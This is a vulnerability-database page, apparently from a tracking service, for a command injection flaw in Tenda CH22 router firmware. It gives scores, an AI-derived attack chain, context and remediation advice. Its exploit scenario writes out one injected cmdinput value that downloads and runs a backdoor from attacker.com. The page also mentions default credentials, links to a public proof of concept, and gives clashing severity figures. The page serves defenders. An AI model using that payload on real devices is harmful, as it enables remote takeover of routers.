Skip to main content

Tenda CH22 EUVDEUVD-2026-64666

| CVE-2026-78141 LOW
Command Injection (CWE-77)
2026-08-23 VulDB GHSA-9mvp-7535-p7rw
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify Tenda CH22 with exposed admin interface
  2. Delivery
    Authenticate with default or brute-forced credentials
  3. Exploit
    Submit crafted cmdinput payload to /goform/exeCommand
  4. Execution
    Inject shell metacharacters to escape command context
  5. Impact
    Execute arbitrary OS commands as router daemon

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Command injection prevention
MITRE ATT&CK

1 technique across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires low-privilege authenticated access to the Tenda CH22 web administration interface (CVSS 4.0 PR:L), meaning an attacker must possess valid credentials - however, SOHO routers frequently retain factory-default credentials (admin/admin or similar), significantly lowering this bar in practice. The vulnerable endpoint /goform/exeCommand must be reachable by the attacker, which is the case on the LAN by default and on the WAN if remote management is enabled (a common misconfiguration). No user interaction is required once access is established. Exploitation is limited by: (1) the requirement for at least low-privilege credentials, (2) the need for network reachability to the admin interface, and (3) the single affected firmware version (1.0.0.1) - other versions are neither confirmed vulnerable nor confirmed safe from available data.

Impact

The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N with all impacts at Low) yields a score of 5.3, which appears inconsistently low for a network-reachable command injection vulnerability on a router - typically the most privileged execution context on the device. The Low impact ratings (VC:L/VI:L/VA:L/SC:L/SI:L/SA:L) are difficult to reconcile with the nature of command injection on embedded Linux, and may reflect conservative scoring by the reporter rather than confirmed technical sandboxing. The E:P supplemental metric confirms a publicly available proof-of-concept, raising real-world exploitation risk above the base score. No CISA KEV listing is present, and no EPSS score was provided in the input data, so breadth-of-exploitation signals are limited. The primary real-world risk driver is the public POC combined with the prevalence of internet-exposed SOHO router admin panels - many home routers have their management interface inadvertently exposed to WAN interfaces. Defenders should treat this as a higher-priority issue than the score alone suggests, particularly for any deployment with remote management enabled.

Exploit ScenarioDerived

An attacker with low-privilege credentials to the Tenda CH22 web interface - or exploiting default/weak credentials common on SOHO routers - sends a crafted POST request to /goform/exeCommand with a shell metacharacter-injected cmdinput value such as ping 127.0.0.1; wget http://attacker.com/backdoor -O /tmp/bd; chmod +x /tmp/bd; /tmp/bd. A public proof-of-concept demonstrating this technique has been disclosed, meaning exploitation requires minimal technical skill. If the management interface is exposed to the internet, this attack is executable without physical access.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 1.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 23, 2026

Command injection in Tenda CH22 firmware version 1.0.0.1 allows a low-privileged remote attacker to execute arbitrary OS-level commands via the cmdinput parameter of the /goform/exeCommand endpoint. The underlying formexeCommand function passes user-controlled input to a system command without adequate sanitization, exposing the router's underlying Linux OS. A proof-of-concept exploit has been publicly disclosed on Notion (referenced via VulDB), elevating real-world risk beyond the moderate CVSS 4.0 score of 5.3, which appears to understate the practical OS-level impact typical of router command injection primitives.

RemediationAI

No vendor-released patch or official advisory has been identified at time of analysis - all references point to VulDB and a third-party POC disclosure, with no patched firmware version confirmed. As an immediate compensating control, disable or restrict access to the router's web administration interface from WAN/external interfaces, as the /goform/exeCommand endpoint should never be reachable from untrusted networks. If the router supports access control lists, restrict management access to trusted LAN IP ranges only. Consider replacing the device if a vendor patch is not released promptly, as command injection in a management endpoint on an embedded device without an available fix represents an unmitigated persistent risk. Monitor https://www.tenda.com.cn/ for firmware updates. The POC is detailed at https://candle-throne-f75.notion.site/Tenda-CH22-formexeCommand-396df0aa11858036b0cdf7a7562d4a67 and the VulDB entry is at https://vuldb.com/vuln/394524.

Affected VersionsENISA

CH22 1.0.0.1

Affected Packages

euvd ch22 no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The affected endpoint /goform/exeCommand is a CGI handler on the Tenda CH22 router's embedded web administration interface, mapped to the C function formexeCommand in the firmware binary. The affected product is identified by CPE cpe:2.3:a:tenda:ch22:*:*:*:*:*:*:*:* at firmware version 1.0.0.1. CWE-77 (Improper Neutralization of Special Elements used in a Command) indicates that the cmdinput argument is concatenated into a shell command string without escaping or whitelisting, a classic pattern in SOHO router firmware where diagnostic command endpoints (ping, traceroute, etc.) expose direct shell execution. Embedded routers of this class typically run BusyBox Linux with web daemons executing as root, making command injection equivalent to full device compromise.

Know when Ch22 gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:L/SI:L/SA:L/E:P
vuln.today AI 9.9 CRITICAL

Network-reachable command injection on embedded Linux runs as root, yielding full C/I/A impact with scope change; PR:L reflects required low-privilege authentication per CVSS 4.0 input.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
Low
Subsequent system: Integrity
Low
Subsequent system: Availability
Low

Lifecycle Timeline

3
Severity Changed
Aug 23, 2026 - 22:22 NVD
MEDIUM LOW
CVSS changed
Aug 23, 2026 - 22:22 NVD
5.3 (MEDIUM) 2.1 (LOW)
CVE Published
Aug 23, 2026 - 21:45 cve.org
MEDIUM 5.3

DescriptionCVE.org

A vulnerability has been found in Tenda CH22 1.0.0.1. This affects the function formexeCommand of the file /goform/exeCommand. The manipulation of the argument cmdinput leads to command injection. The attack may be initiated remotely. The exploit has been disclosed to the public and may be used.

Threat Intelligence Overview

EPSS Score
1.1%
Top 38% exploitable
Prevalence
Low
budget SOHO router, limited regional market footprint
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.1%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
No
Human Impact· derived
Low

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy